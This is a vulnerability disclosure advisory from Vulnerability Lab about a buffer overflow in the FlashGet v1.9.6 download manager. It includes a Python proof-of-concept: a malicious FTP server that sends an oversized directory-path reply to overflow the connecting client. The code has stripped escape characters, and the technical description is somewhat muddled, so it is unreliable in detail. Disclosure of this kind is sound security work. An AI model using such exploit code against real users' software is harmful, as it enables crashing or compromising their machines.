FlashGet v1.9.6 - Remote Buffer Overflow Vulnerability

Document Title:
===============
FlashGet v1.9.6 - Remote Buffer Overflow Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2248


Release Date:
=============
2020-05-02


Vulnerability Laboratory ID (VL-ID):
====================================
2248


Common Vulnerability Scoring System:
====================================
8.4


Vulnerability Class:
====================
Buffer Overflow


Current Estimated Price:
========================
2.000€ - 3.000€


Product & Service Introduction:
===============================
FlashGet is a leading download manager and has the highest amount of users on the internet. It uses MHT technique, 
supports various protocols and has excellent document management features. FlashGet is a freeware without 
any adware or spyware. FlashGet v1.9.6 supports HTTP,FTP,BT and eMule protocols. The new P4S technique 
should highly accelerate the downloading process. IE6,IE7,IE8 and Firefox are supported.

(Copy of the Homepage: http://www.flashget.com/en/download.htm )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a remote buffer overflow vulnerability in the FlashGet v1.9.6 software.


Vulnerability Disclosure Timeline:
==================================
2020-05-03: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Open Authentication (Anonymous Privileges)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A remote buffer overflow vulnerability has been discovered in the official FlashGet v1.9.6 software.
The bufer overflow allows to overwrite registers of the process to compromise the file-system by 
elevates local process privileges.

The buffer overflow is located in the `current directory path` function affecting the buffer size. 
Remote attackers with access to the software are able to overflow after login to compromise the 
local file-system or process registers.

Exploitation of the buffer overflow vulnerability requires a low privilege or restricted system 
user/guest account without user interaction. Successful exploitation of the vulnerability results 
in overwrite of the active registers to compromise of the file-system or local software process.

Vulnerable Module(s):
[+] current directory path


Proof of Concept (PoC):
=======================
The remote buffer overflow software vulnerability can be exploited by remote attackers with local low privileged user accounts or guest without user interaction.
For security demonstration or to reproduce the remote buffer overflow vulnerability follow the provided information and steps below to continue.


PoC: Exploit (Python)
#!/usr/bin/python
# Exploit Title: FlashGet v1.9.6 - Remote Buffer Overflow Vulnerability

from time import sleep
from socket import *

res = [
    '220 WELCOME!! :xrn',
    '331 Password required for %s.rn',
    '230 User %s logged in.rn',
    '250 CWD command successful.rn',
    '257 "%s/" is current directory.rn' # <-- %s B0f :x
    ]

buf = 'A' * 332

s = socket(AF_INET, SOCK_STREAM)
s.bind(('0.0.0.0', 21))
s.listen(1)
print '[+] listening on [FTP] 21 ...n'
c, addr = s.accept()
c.send(res[0])

user = ''

for i in range(1, len(res)):
    req = c.recv(1024)
    print '[*][CLIENT] %s' % (req)
    tmp = res[i]
    if(req.find('USER') != -1):
        req = req.replace('rn', '')
        user = req.split('x20', 1)[1]
        tmp %= user
    if(req.find('PASS') != -1):
        tmp %= user
    if(req.find('PWD') != -1):
        tmp %= buf    
    print '[*][SERVER] %s' % (tmp)    
    c.send(tmp)

sleep(5)
c.close()
s.close()

print '[+] DONE'


Credits & Authors:
==================
Milad Karimi - https://www.vulnerability-lab.com/show.php?user=Milad+Karimi


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=========================
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